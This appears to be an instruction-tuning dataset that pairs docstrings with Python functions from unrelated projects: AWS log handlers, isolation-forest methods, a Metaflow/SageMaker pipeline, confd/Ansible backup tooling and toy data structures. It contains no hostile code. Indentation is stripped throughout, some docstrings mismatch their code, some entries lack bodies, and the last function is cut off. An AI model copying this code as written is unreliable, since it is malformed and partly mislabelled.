[INST] The handler for s3 CreateObject event and send the logs to Cloudwatch. [/INST] def handle_s3_logs(event, log_group, log_stream, log_format):
data = utils.parse_data(utils.unpack_data_from_s3(event), log_format)
cloud_watch = Cloudwatch(log_group, log_stream)
cloud_watch.send_logs(data)
[INST] The handler for s3 CreateObject event to extract akamai log file from email and upload. [/INST] def handle_s3_akamai_email(event, bucket, prefix=''):
data = utils.unpack_data_from_s3(event)
utils.extract_email_and_upload(data, bucket, prefix)
[INST] load object from s3 CreateObject event. [/INST] def unpack_data_from_s3(event):
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
print("Processing file s3://{}/{}".format(bucket, key))
response = S3.get_object(Bucket=bucket, Key=key)
data = response['Body'].read()
if key[-3:] == '.gz':
data = gzip.decompress(data)
return data
[INST] parse data into json format logs. [/INST] def parse_data(data, log_format):
logs = []
data = str(data, 'utf-8', errors='backslashreplace').splitlines()
result = csv.DictReader((row for row in data if not row.startswith('#')),
fieldnames=log_format, delimiter='\t')
for row in result:
date = row.pop('logdate')
time = row.pop('logtime')
log = {
'message': json.dumps(row),
'timestamp': int(datetime.strptime(
date + " " + time, '%Y-%m-%d %H:%M:%S').timestamp() * 1000)
}
logs.append(log)
logs.sort(key=lambda x: x['timestamp'])
return logs
[INST] Extract akamai LDS email data in gzip/mime type. [/INST] def extract_email_and_upload(data, bucket, prefix):
try:
msg = email.message_from_bytes(data)
filename = msg['subject']
if not filename or not filename.endswith('.gzm'):
print("Invalid file, subject is: " + filename)
return 1
regx = re.compile('.gzm\\b')
count = 0
for part in msg.walk():
decoded_filename = regx.sub(str(count) + '.gz', filename)
if part.get_content_maintype() == 'multipart':
continue
upload_objects_to_s3(
bucket, prefix + decoded_filename, part.get_payload(decode=True))
count += 1
return 0
except Exception as err:
raise err
[INST] Loads address list and contact list in `__onload`. [/INST] def load_address_and_contact(**doc):
doc = json.loads(doc.get("doc"))
doc_type = doc.get("message").get("doctype")
doc_name = doc.get("message").get("name")
from frappe.contacts.doctype.address.address import get_address_display, get_condensed_address
filters = [
["Dynamic Link", "link_doctype", "=", doc_type],
["Dynamic Link", "link_name", "=", doc_name],
["Dynamic Link", "parenttype", "=", "Address"],
]
address_list = frappe.get_all("Address", filters=filters, fields=["*"])
address_list = [a.update({"display": get_address_display(a)})
for a in address_list]
address_list = sorted(address_list,
key = functools.cmp_to_key(lambda a, b:
(int(a.is_primary_address - b.is_primary_address)) or
(1 if a.modified - b.modified else 0)), reverse=True)
contact_list = []
filters = [
["Dynamic Link", "link_doctype", "=", doc_type],
["Dynamic Link", "link_name", "=", doc_name],
["Dynamic Link", "parenttype", "=", "Contact"],
]
contact_list = frappe.get_all("Contact", filters=filters, fields=["*"])
for contact in contact_list:
contact["email_ids"] = frappe.get_list("Contact Email", filters={
"parenttype": "Contact",
"parent": contact.name,
"is_primary": 0
}, fields=["email_id"])
contact["phone_nos"] = frappe.get_list("Contact Phone", filters={
"parenttype": "Contact",
"parent": contact.name,
"is_primary_phone": 0,
"is_primary_mobile_no": 0
}, fields=["phone"])
if contact.address:
address = frappe.get_doc("Address", contact.address)
contact["address"] = get_condensed_address(address)
contact_list = sorted(contact_list,
key = functools.cmp_to_key(lambda a, b:
(int(a.is_primary_contact - b.is_primary_contact)) or
(1 if a.modified - b.modified else 0)), reverse=True)
return {"address_list":address_list, "contact_list":contact_list}
[INST] Predict outlierness based on average isolation depth
Calculates the approximate depth that it takes to isolate an observation according to the
fitted model splits. Can output either the average depth, or a standardized outlier score
based on whether it takes more or fewer splits than average to isolate observations. In the
standardized outlier score metric, values closer to 1 indicate more outlierness, while values
closer to 0.5 indicate average outlierness, and close to 0 more averageness (harder to isolate).
Note
The more threads that are set for the model, the higher the memory requirements will be as each
thread will allocate an array with one entry per row.
Note
Predictions for sparse data will be much slower than for dense data. Not recommended to pass
sparse matrices unless they are too big to fit in memory.
Note
In order to save memory when fitting and serializing models, the functionality for outputting
terminal node number will generate index mappings on the fly for all tree nodes, even if passing only
1 row, so it's only recommended for batch predictions.
Note
The outlier scores/depth predict functionality is optimized for making predictions on one or a
few rows at a time - for making large batches of predictions, it might be faster to use the
'fit_predict' functionality.
Parameters
X : array or array-like (n_samples, n_features)
Observations for which to predict outlierness or average isolation depth. Can pass
a NumPy array, Pandas DataFrame, or SciPy sparse CSC or CSR matrix.
Returns
score : array(n_samples,) or array(n_samples, n_trees)
Requested output type for each row accoring to parameter 'output' (outlier scores,
average isolation depth, or terminal node indices).. [/INST] def predict(self, X, output = "score"):
assert self.is_fitted_
assert output in ["score", "avg_depth", "tree_num"]
X_num, X_cat, nrows = self._process_data_new(X)
if output == "tree_num":
if self.missing_action == "divide":
raise ValueError("Cannot output tree number when using 'missing_action' = 'divide'.")
if self.new_categ_action == "weighted":
raise ValueError("Cannot output tree number when using 'new_categ_action' = 'weighted'.")
if nrows == 1:
warnings.warn("Predicting tree number is slow, not recommended to do for 1 row at a time.")
depths, tree_num = self._cpp_obj.predict(X_num, X_cat, self._is_extended_,
ctypes.c_size_t(nrows).value,
ctypes.c_int(self.nthreads).value,
ctypes.c_bool(output == "score").value,
ctypes.c_bool(output == "tree_num").value)
if output in ["score", "avg_depth"]:
return depths
else:
return tree_num
[INST] Appends isolation trees from another Isolation Forest model into this one
This function is intended for merging models **that use the same hyperparameters** but
were fitted to different subsets of data.
In order for this to work, both models must have been fit to data in the same format
that is, same number of columns, same order of the columns, and same column types, although
not necessarily same object classes .
Note
This function will not perform any checks on the inputs, and passing two incompatible
models will result in wrong results and
potentially crashing the Python process when using it.
Parameters
other : IsolationForest
Another Isolation Forest model from which trees will be appended to this model.
It will not be modified during the call to this function.
Returns
self : obj
This object.. [/INST] def append_trees(self, other):
assert self.is_fitted_
assert other.is_fitted_
assert isinstance(other, IsolationForest)
if (self._is_extended_) != (other._is_extended_):
raise ValueError("Cannot mix extended and regular isolation forest models (ndim=1).")
if self.cols_categ_.shape[0]:
warnings.warn("Merging models with categorical features might give wrong results.")
self._cpp_obj.append_trees_from_other(other._cpp_obj, self._is_extended_)
self.ntrees += other.ntrees
return self
[INST] Export Isolation Forest model
Save Isolation Forest model to a serialized file along with its
metadata, in order to be re-used in Python or in the R or the C++ versions of this package.
Although the model objects are always serializable through ``pickle``, this function
might provide a faster alternative and use less memory when the models to serialize are big.
Note that, if the model was fitted to a ``DataFrame``, the column names must be
something exportable as JSON, and must be something that R could
use as column names .
It is recommended to visually inspect the produced ``.metadata`` file in any case.
The metadata will contain, among other things, the encoding that was used for
categorical columns - this is under ``data_info.cat_levels``, as an array of arrays by column,
with the first entry for each column corresponding to category 0, second to category 1,
and so on (the C++ version takes them as integers).
The serialized file can be used in the C++ version by reading it as a binary raw file
and de-serializing its contents with the ``cereal`` library or using the provided C++ functions
for de-serialization.
The metadata is not used in the C++ version, but is necessary for the R and Python versions.
Note
The model treats boolean variables as categorical. Thus, if the model was fit
to a ``DataFrame`` with boolean columns, when importing this model into C++, they need to be
encoded in the same order - e.g.
Parameters
file : str
The output file path into which to export the model. Must be a file name, not a
file handle.
use_cpp : bool
Whether to use C++ directly for IO. Using the C++ funcionality directly is faster, and
will write directly to a file instead of first creating the file contents in-memory,
but in Windows, if the library was compiled with a compiler other than MSVC,
file paths that contain non-ASCII characters will faill to write
and might crash the Python process along with it. If passing ``False``, it will at
first create the file contents in-memory in a Python object, and then use a Python
file handle to write such contents into a file.
Returns
self : obj
This object.
References. [/INST] def export_model(self, file, use_cpp = True):
assert self.is_fitted_
metadata = self._export_metadata()
with open(file + ".metadata", "w") as of:
json.dump(metadata, of, indent=4)
self._cpp_obj.serialize_obj(file, use_cpp, self.ndim > 1)
return self
[INST] Note
Making predictions through SQL is much less efficient than from the model
itself, as each terminal node will have to check all of the conditions
that lead to it instead of passing observations down a tree.
Note
If constructed with the default arguments, the model will not perform any
sub-sampling, which can lead to very big trees. If it was fit to a large
dataset, the generated SQL might consist of gigabytes of text, and might
lay well beyond the character limit of commands accepted by SQL vendors.
Note
Note
The generated SQL statements will only include handling of missing values
when using ``missing_action="impute"``.
Note
The resulting statements will include all the tree conditions as-is,
with no simplification. Thus, there might be lots of redundant conditions
in a given terminal node .
Parameters
enclose : str
With which symbols to enclose the column names in the select statement
so as to make them SQL compatible in case they include characters like dots.
Options are.
``"none"``:
Will output the column names as-is
output_tree_num : bool
Whether to make the statements return the terminal node number
instead of the isolation depth. The numeration will start at zero.
tree : int or None
Tree for which to generate SQL statements. If passed, will generate
the statements only for that single tree. If passing 'None', will
generate statements for all trees in the model.
table_from : str or None
If passing this, will generate a single select statement for the
outlier score from all trees, selecting the data from the table
name passed here. In this case, will always output the outlier
score, regardless of what is passed under ``output_tree_num``.
select_as : str
Alias to give to the generated outlier score in the select statement.
Ignored when not passing ``table_from``.
column_names : None or list[str]
Column names to use for the **numeric** columns.
Returns
sql : list[str] or str
A list of SQL statements for each tree as strings, or the SQL statement
for a single tree if passing 'tree', or a single select-from SQL statement
with all the trees concatenated if passing ``table_from``.. [/INST] def generate_sql(self, enclose="doublequotes", output_tree_num = False, tree = None,
table_from = None, select_as = "outlier_score",
column_names = None, column_names_categ = None):
assert self.is_fitted_
single_tree = False
if tree is not None:
if isinstance(tree, float):
tree = int(tree)
assert isinstance(tree, int)
assert tree >= 0
assert tree < self.ntrees
single_tree = True
else:
tree = 0
output_tree_num = bool(output_tree_num)
if self._ncols_numeric:
if column_names is not None:
if len(column_names) != self._ncols_numeric:
raise ValueError("'column_names' must have %d entries." % self._ncols_numeric)
else:
if self.cols_numeric_.shape[0]:
column_names = self.cols_numeric_
else:
column_names = ["column_" + str(cl) for cl in range(self._ncols_numeric)]
else:
column_names = []
if self.cols_categ_.shape[0]:
if column_names_categ is not None:
if len(column_names_categ) != self.cols_categ_.shape[0]:
raise ValueError("'column_names_categ' must have %d entries." % self.cols_categ_.shape[0])
else:
column_names_categ = self.cols_categ_
categ_levels = [[str(lev) for lev in mp] for mp in self._cat_mapping]
else:
column_names_categ = []
categ_levels = []
assert enclose in ["doublequotes", "squarebraces", "none"]
if enclose != "none":
enclose_left = '"' if (enclose == "doublequotes") else '['
enclose_right = '"' if (enclose == "doublequotes") else ']'
column_names = [enclose_left + cl + enclose_right for cl in column_names]
column_names_categ = [enclose_left + cl + enclose_right for cl in column_names_categ]
out = [s for s in self._cpp_obj.generate_sql(self.ndim > 1,
column_names, column_names_categ, categ_levels,
output_tree_num, single_tree, tree, self.nthreads)]
if single_tree:
return out[0]
return out
[INST] None
list[ConnectorFile] -- list of files to package
Returns none if any of the files are invalid, or the files do not agree on the name. [/INST] def generate_file_list(self) -> Optional[List[ConnectorFile]]:
logging.debug("Generating list of files for validation and/or packaging...")
if not self.path_to_folder.is_dir():
logger.error("Error: " + str(self.path_to_folder) + " does not exist or is not a directory.")
return None
path_to_manifest = self.path_to_folder / "manifest.xml"
if not path_to_manifest.is_file():
logger.error("Error: " + str(self.path_to_folder) + " does not contain a file called manifest.xml.")
return None
self.file_list.append(ConnectorFile("manifest.xml", "manifest"))
files_valid = self.parse_file(self.file_list[0])
if not files_valid:
return None
if not self.class_name:
logger.debug("Class name not found in files.")
return None
if len(self.loc_strings) > 0:
logger.debug("Found translatable strings, looking for resource files...")
logger.debug('Strings found:')
for s in self.loc_strings:
logger.debug("-- " + s)
for language in TABLEAU_SUPPORTED_LANGUAGES:
resource_file_name = "resources-" + language + ".xml"
path_to_resource = self.path_to_folder / Path(resource_file_name)
if path_to_resource.is_file():
new_file = ConnectorFile(resource_file_name, "resource")
xml_violations_buffer = []
if not validate_single_file(new_file, path_to_resource, xml_violations_buffer):
for error in xml_violations_buffer:
logging.debug(error)
return None
self.file_list.append(ConnectorFile(resource_file_name, "resource"))
logging.debug("Adding file to list (name = " + resource_file_name + ", type = resource)")
else:
logger.debug("No loc files.")
logger.debug("Generated file list:")
for f in self.file_list:
logger.debug("-- " + f.file_name)
return self.file_list
[INST] - True if parsing succeeds
Appends any new files found in this one to self.file_list and recursively calls parse_file on it
If any translatable strings are found, append it to self.loc_strings. [/INST] def parse_file(self, file_to_parse: ConnectorFile) -> bool:
path_to_file = self.path_to_folder / str(file_to_parse.file_name)
xml_violation_buffer = []
if not validate_single_file(file_to_parse, path_to_file, xml_violation_buffer):
for v in xml_violation_buffer:
logger.debug(v)
return False
logger.debug("Parsing " + str(path_to_file))
xml_tree = parse(str(path_to_file))
root = xml_tree.getroot()
for child in root.iter():
if 'file' in child.attrib:
new_file_path = str(self.path_to_folder / child.attrib['file'])
if not os.path.isfile(new_file_path):
logger.debug("Error: " + new_file_path + " does not exist but is referenced in " +
str(file_to_parse.file_name))
return False
logging.debug("Adding file to list (name = " + child.attrib['file'] + ", type = " + child.tag + ")")
new_file = ConnectorFile(child.attrib['file'], child.tag)
already_in_list = new_file in self.file_list
self.file_list.append(new_file)
if child.tag != 'script' and not already_in_list:
children_valid = self.parse_file(new_file)
if not children_valid:
return False
if 'url' in child.attrib:
url_link = child.attrib['url']
if not url_link.startswith(HTTPS_STRING):
logging.error("Error: Only HTTPS URL's are allowed. URL " + url_link +
" is a non-https link in file " + file_to_parse.file_name)
return False
if 'class' in child.attrib:
if not self.class_name:
logging.debug("Found class name: " + child.attrib['class'])
self.class_name = child.attrib['class']
elif child.attrib['class'] != self.class_name:
logging.error("Error: class attribute in file " + file_to_parse.file_name +
" does not equal class attribute in manifest.")
logging.debug(self.class_name + " in manifest, " + child.attrib['class'] + " in " +
file_to_parse.file_name)
return False
for key, value in child.attrib.items():
if value.startswith(TRANSLATABLE_STRING_PREFIX):
self.loc_strings.append(value)
return True
[INST] Read data in, and parallelize model building with two params (in this case, dummy example with learning rate).. [/INST] def start(self):
print("flow name: %s" % current.flow_name)
print("run id: %s" % current.run_id)
print("username: %s" % current.username)
raw_data = StringIO(self.DATA_FILE).readlines()
print("Total of {} rows in the dataset!".format(len(raw_data)))
self.dataset = [[float(_) for _ in d.strip().split('\t')] for d in raw_data]
print("Raw data: {}, cleaned data: {}".format(raw_data[0].strip(), self.dataset[0]))
split_index = int(len(self.dataset) * 0.8)
self.train_dataset = self.dataset[:split_index]
self.test_dataset = self.dataset[split_index:]
print("Training data: {}, test data: {}".format(len(self.train_dataset), len(self.test_dataset)))
self.learning_rates = [0.1, 0.2]
self.next(self.train_model, foreach='learning_rates')
[INST] Train a dummy regression model with Keras
and use high-performance s3 client from metaflow to store the model tar file for further processing.. [/INST] def train_model(self):
self.learning_rate = self.input
import tensorflow as tf
from tensorflow.keras import layers
import tarfile
x_train = np.array([[_[0]] for _ in self.train_dataset])
y_train = np.array([_[1] for _ in self.train_dataset])
x_test = np.array([[_[0]] for _ in self.test_dataset])
y_test = np.array([_[1] for _ in self.test_dataset])
x_model = tf.keras.Sequential([
layers.Dense(input_shape=[1,], units=1)
])
print(x_model.summary())
x_model.compile(
optimizer=tf.optimizers.Adam(learning_rate=self.learning_rate),
loss='mean_absolute_error')
history = x_model.fit(x_train, y_train,epochs=100, validation_split=0.2)
self.hist = history.history
self.results = x_model.evaluate(x_test, y_test)
print("Test set results: {}".format(self.results))
model_name = "regression-model-{}/1".format(self.learning_rate)
local_tar_name = 'model-{}.tar.gz'.format(self.learning_rate)
x_model.save(filepath=model_name)
with tarfile.open(local_tar_name, mode="w:gz") as _tar:
_tar.add(model_name, recursive=True)
with open(local_tar_name, "rb") as in_file:
data = in_file.read()
with S3(run=self) as s3:
url = s3.put(local_tar_name, data)
print("Model saved at: {}".format(url))
self.s3_path = url
self.next(self.join_runs)
[INST] Join the parallel runs and merge results into a dictionary.. [/INST] def join_runs(self, inputs):
self.results_from_runs = {
inp.learning_rate:
{
'metrics': inp.results,
'tar': inp.s3_path
}
for inp in inputs}
print("Current results: {}".format(self.results_from_runs))
self.best_learning_rate = choice(list(self.results_from_runs.keys()))
self.best_s3_model_path = self.results_from_runs[self.best_learning_rate]['tar']
self.next(self.deploy)
[INST] Use SageMaker to deploy the model as a stand-alone, PaaS endpoint, with our choice of the underlying
Docker image and hardware capabilities.
Once the endpoint is deployed, you can add a further step with for example behavioral testing, to
ensure model robustness . Here, we just "prove" that
the endpoint is up and running!. [/INST] def deploy(self):
from sagemaker.tensorflow import TensorFlowModel
ENDPOINT_NAME = 'regression-{}-endpoint'.format(int(round(time.time() * 1000)))
print("\n\n================\nEndpoint name is: {}\n\n".format(ENDPOINT_NAME))
model = TensorFlowModel(
model_data=self.best_s3_model_path,
image_uri=self.DOCKER_IMAGE_URI,
role=self.IAM_SAGEMAKER_ROLE)
predictor = model.deploy(
initial_instance_count=1,
instance_type=self.SAGEMAKER_INSTANCE,
endpoint_name=ENDPOINT_NAME)
input = {'instances': np.array([[0.57457947234]])}
result = predictor.predict(input)
print(input, result)
assert result['predictions'][0][0] > 0
self.next(self.end)
[INST] The final step is empty here, but cleaning operations and/or sending hooks for downstream deployment tasks
is a natural necessity for machine learning DAGs.. [/INST] def end(self):
print('Dag ended!')
[INST] AWS lambda function, to handle incoming GET requests asking our model for predictions.. [/INST] def predict(event, context):
print("Received event: " + json.dumps(event))
params = event['queryStringParameters']
response = dict()
start = time.time()
input_payload = { 'instances': [[float(params.get('x', '0.0'))]] }
result = get_response_from_sagemaker(json.dumps(input_payload),
SAGEMAKER_ENDPOINT_NAME,
content_type='application/json')
if result:
print(result)
response = result['predictions'][0][0]
return wrap_response(status_code=200, body={
"prediction": response,
"time": time.time() - start,
"endpoint": SAGEMAKER_ENDPOINT_NAME
})
[INST] use md5 encryption algorithm to generate a 32bit hex code.. [/INST] def md5hex(text):
if isinstance(text, unicode):
text = text.encode('utf-8')
elif not isinstance(text, str):
text = str(text)
m = hashlib.md5()
m.update(text)
return m.hexdigest()
[INST] backup old toml/tmpl/cfg files from remote confd client to server. [/INST] def backup_files(self):
for host in self._hosts:
toml_bak = os.path.join(self._l_toml_bak, host)
tmpl_bak = os.path.join(self._l_tmpl_bak, host)
conf_bak = os.path.join(self._l_conf_bak, host)
remove_folder(toml_bak)
remove_folder(tmpl_bak)
remove_folder(conf_bak)
get_folder(toml_bak)
get_folder(tmpl_bak)
get_folder(conf_bak)
toml_pre = '%s/' % os.path.join('toml', self._folder_pre, host)
tmpl_pre = '%s/' % os.path.join('tmpl', self._folder_pre, host)
conf_pre = '%s/' % os.path.join('conf', self._folder_pre, host)
objs = self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=toml_pre, recursive=False)
for x in objs:
self.minio.remove_object(
bucket_name=self._minio_bucket,
object_name=x.object_name.encode('utf-8'))
objs = self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=tmpl_pre, recursive=False)
for x in objs:
self.minio.remove_object(
bucket_name=self._minio_bucket,
object_name=x.object_name.encode('utf-8'))
objs = self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=conf_pre, recursive=False)
for x in objs:
self.minio.remove_object(
bucket_name=self._minio_bucket,
object_name=x.object_name.encode('utf-8'))
aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)
tomls = self.get_tomls(host=host)
for x in tomls:
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='fetch',
args=dict(
dest='%s/' % toml_bak,
src=os.path.join(self._r_toml, x),
flat='yes'))
msg = 'Toml File Backup: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Toml File Backup: %s' % results
app.logger.info(logmsg(msg))
self.minio.fput_object(
bucket_name=self._minio_bucket,
object_name=os.path.join(toml_pre, x),
file_path=os.path.join(toml_bak, x))
tmpls = self.get_tmpls(host=host)
for x in tmpls:
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='fetch',
args=dict(
dest='%s/' % tmpl_bak,
src=os.path.join(self._r_tmpl, self._folder_pre, x),
flat='yes'))
msg = 'Tmpl File Backup: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Tmpl File Backup: %s' % results
app.logger.info(logmsg(msg))
self.minio.fput_object(
bucket_name=self._minio_bucket,
object_name=os.path.join(tmpl_pre, x),
file_path=os.path.join(tmpl_bak, x))
for x in self._files:
src = os.path.join(x['dir'], x['name'])
file_name = '%s%s%s' % (
'@@'.join([x['mode'], x['owner']['name'], x['owner']['group']]),
self._broken_word_2,
src.replace('/', self._broken_word_1))
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='fetch',
args=dict(
dest=os.path.join(conf_bak, file_name),
src=src, flat='yes'))
msg = 'Conf File Backup: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Conf File Backup: %s' % results
app.logger.info(logmsg(msg))
file_path = os.path.join(conf_bak, file_name)
if os.path.isfile(file_path):
self.minio.fput_object(
bucket_name=self._minio_bucket,
object_name=os.path.join(conf_pre, file_name),
file_path=file_path)
objs = [os.path.basename(x.object_name.encode('utf-8')) for x in
self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=toml_pre,
recursive=False)]
for x in tomls:
if x not in objs:
raise Exception('Toml Backup Failed: %s.' % x)
objs = [os.path.basename(x.object_name.encode('utf-8')) for x in
self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=tmpl_pre,
recursive=False)]
for x in tmpls:
if x not in objs:
raise Exception('Tmpl Backup Failed: %s.' % x)
[INST] backup configuration keys using etcd server. [/INST] def backup_keys(self):
dir_pre = os.path.join('/', self._key_bak_pre, self._folder_pre)
if dir_pre in self.etcd:
self.etcd.delete(key=dir_pre, dir=True, recursive=True)
for x in self._files:
items = self.get_keys(cfg_name=x['name'])
for k, v in items.items():
ret = self.etcd.write(
key=os.path.join(dir_pre, x['name'], k), value=v)
msg = 'Etcd Key Backup: %s.' % ret
app.logger.info(logmsg(msg))
[INST] update configuration keys stored in etcd server
ps: when called for rollback, would delete keys totally new. [/INST] def update_keys(self, rollback=False):
for x in self._files:
items = (self.get_keys(cfg_name=x['name'], rollback=rollback)
if rollback else x['items'])
diff = set(x['items'].keys()).difference(set(items.keys()))
for k in diff:
key = os.path.join('/', self._folder_pre, x['name'], k)
if key in self.etcd:
ret = self.etcd.delete(key=key)
msg = 'Etcd Key Deleted: %s.' % ret
app.logger.info(logmsg(msg))
for k, v in items.items():
ret = self.etcd.write(
key=os.path.join('/', self._folder_pre, x['name'], k),
value=v)
msg = 'Etcd Key Updated: %s.' % ret
app.logger.info(logmsg(msg))
[INST] delete expired configuration keys stored in etcd server. [/INST] def delete_expired_keys(self):
for x in self._files:
key_pre = os.path.join('/', self._folder_pre, x['name'])
if key_pre in self.etcd:
father = self.etcd.read(key=key_pre)
if hasattr(father, '_children'):
for y in father._children:
if y['key'].split('/')[-1] not in x['items'].keys():
ret = self.etcd.delete(key=y['key'])
msg = 'Etcd Key Deleted: %s.' % ret
app.logger.info(logmsg(msg))
[INST] delete expired toml/tmpl files in remote confd client. [/INST] def delete_expired_files(self):
cfg_names = [x['name'] for x in self._files]
for host in self._hosts:
aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)
tomls = self.get_tomls(host=host)
for x in tomls:
config = x.split(self._file_pre)[1].split('toml')[0].strip('.')
if config not in cfg_names:
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='file',
args=dict(
path=os.path.join(self._r_toml, x),
state='absent'))
msg = 'Toml File Deleted: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Toml File Deleted: %s' % results
app.logger.info(logmsg(msg))
tmpls = self.get_tmpls(host=host)
for x in tmpls:
config = x.split('.tmpl')[0]
if config not in cfg_names:
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='file',
args=dict(
path=os.path.join(
self._r_tmpl, self._folder_pre, x),
state='absent'))
msg = 'Tmpl File Deleted: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Tmpl File Deleted: %s' % results
app.logger.info(logmsg(msg))
[INST] delete old toml/tmpl files in remote confd client
ps: make sure that all these files have been backup already. [/INST] def delete_files(self):
for host in self._hosts:
aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)
tomls = self.get_tomls(host=host)
for x in tomls:
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='file',
args=dict(
path=os.path.join(self._r_toml, x),
state='absent'))
msg = 'Toml File Deleted: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Toml File Deleted: %s' % results
app.logger.info(logmsg(msg))
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='file',
args=dict(
path='%s/' % os.path.join(
self._r_tmpl, self._folder_pre),
state='absent'))
msg = 'Tmpl File Deleted: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Tmpl File Deleted: %s' % results
app.logger.info(logmsg(msg))
for x in self._files:
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='file',
args=dict(
path=os.path.join(x['dir'], x['name']),
state='absent'))
msg = 'Conf File Deleted: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Conf File Deleted: %s' % results
app.logger.info(logmsg(msg))
[INST] update toml/tmpl/(conf) files to remote/local confd client. [/INST] def push_files(self, rollback=False):
for host in self._hosts:
aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)
toml_folder = '%s/' % (
os.path.join(self._l_toml_bak, host)
if rollback else os.path.join(self._l_toml, host))
tmpl_folder = '{}/'.format(
os.path.join(self._l_tmpl_bak, host)
if rollback else self._l_tmpl)
if rollback:
conf_folder = '%s/' % os.path.join(self._l_conf_bak, host)
remove_folder(toml_folder)
remove_folder(tmpl_folder)
remove_folder(conf_folder)
get_folder(toml_folder)
get_folder(tmpl_folder)
get_folder(conf_folder)
toml_pre = '%s/' % os.path.join('toml', self._folder_pre, host)
objs = self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=toml_pre, recursive=False)
for x in objs:
object_name = x.object_name.encode('utf-8')
self.minio.fget_object(
bucket_name=self._minio_bucket,
object_name=object_name,
file_path=os.path.join(
toml_folder, os.path.basename(object_name)))
tmpl_pre = '%s/' % os.path.join('tmpl', self._folder_pre, host)
objs = self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=tmpl_pre, recursive=False)
for x in objs:
object_name = x.object_name.encode('utf-8')
self.minio.fget_object(
bucket_name=self._minio_bucket,
object_name=object_name,
file_path=os.path.join(
tmpl_folder, os.path.basename(object_name)))
conf_pre = '%s/' % os.path.join('conf', self._folder_pre, host)
objs = self.minio.list_objects(
bucket_name=self._minio_bucket, prefix=conf_pre, recursive=False)
for x in objs:
object_name = x.object_name.encode('utf-8')
self.minio.fget_object(
bucket_name=self._minio_bucket,
object_name=object_name,
file_path=os.path.join(
conf_folder, os.path.basename(object_name)))
for x in os.listdir(conf_folder):
config = x.split(self._broken_word_2)
file_path = config[1].replace(self._broken_word_1, '/')
info = config[0].split('@@')
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='copy',
args=dict(
mode=info[0],
src=os.path.join(conf_folder, x),
dest=file_path,
group=info[2],
owner=info[1]))
msg = 'Conf File Updated: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Conf File Updated: %s' % results
app.logger.info(logmsg(msg))
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='copy',
args=dict(
mode=self._confd_file_mode,
src=toml_folder,
dest=self._r_toml,
group=self._confd_owner[1],
owner=self._confd_owner[0]))
msg = 'Toml File Updated: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Toml File Updated: %s' % results
app.logger.info(logmsg(msg))
r_tmpl_folder = os.path.join(self._r_tmpl, self._folder_pre)
state, state_sum, results = ansible_safe_run(
aapi=aapi, module='copy',
args=dict(
mode=self._confd_file_mode,
src=tmpl_folder,
dest=r_tmpl_folder,
group=self._confd_owner[1],
owner=self._confd_owner[0]))
msg = 'Tmpl File Updated: %s' % state_sum
app.logger.debug(logmsg(msg))
msg = 'Tmpl File Updated: %s' % results
app.logger.info(logmsg(msg))
[INST] Returns True if Empty and false otherwise. [/INST] def is_empty(self):
if self.top:
return False
return True
[INST] Returns the value at the top without modifying the stack, raises an exception otherwise. [/INST] def peek(self):
if not self.is_empty():
return self.top.value
raise EmptyStackException("Cannot peek an empty stack")
[INST] Returns the value at the top without modifying the queue, raises an exception otherwise. [/INST] def peek(self):
if not self.stack.is_empty():
current = self.stack.top
items = []
while current:
items.insert(0,str(current.value))
current = current.next
return items[0]
raise EmptyStackException("Cannot peek an empty stack")
[INST] this function takes a string value and return hashed key. [/INST] def hash(self,key):
sum = 0
for letter in key:
sum= (sum + ord(letter)* key.index(letter) * 19)% self.size
return sum
[INST] this function take a string key and a value then add them in the hashtable as a list. [/INST] def add(self,key):
index = self.hash(key)
if self.buckets[index] is None:
self.buckets[index] = key
return None
return key
[INST] this method to append value in the last node
input ==> value. [/INST] def append(self, value):
if value is None:
raise TypeError("insert() missing 1 required positional argument: 'value' ")
else:
new_node = Node(value)
if not self.head:
self.head = new_node
else:
new_node = Node(value)
current = self.head
while current.next:
current = current.next
current.next = new_node
[INST] delete an item to the rear fo the queue. [/INST] def dequeue(self):
if not self.is_empty():
temp = self.front
self.front = self.front.next
temp.next = None
return temp.value
raise EmptyQueueException("Cannot dequeue an empty queue")
[INST] Returns the value at the top without modifying the stack, raises an exception otherwise. [/INST] def peek(self):
if not self.is_empty():
return self.front.value
raise EmptyQueueException("Cannot peek an empty queue")
[INST] Write log line as one-line record.. [/INST] def write_line(self, file: 'TextFile', data: 'Model',
lineno: 'Optional[int]' = 0) -> int:
[INST] Serialise records to a log line.. [/INST] def dump_file(self, data: 'Iterable[Model]') -> str:
[INST] Serialise one-line record to a log line.. [/INST] def dump_line(self, data: 'Model', lineno: 'Optional[int]' = 0) -> str:
[INST] Serialise records to a log line.. [/INST] def dumps(self, data: 'Iterable[Model]') -> str:
return self.dump_file(data)
[INST] Write log line as one-line record.. [/INST] def write_line(self, file: 'TextFile', data: Model,
lineno: 'Optional[int]' = 0) -> int:
try:
return file.write('%s\n' % json.dumps(data.tojson(), cls=self.encoder))
except TypeError as error:
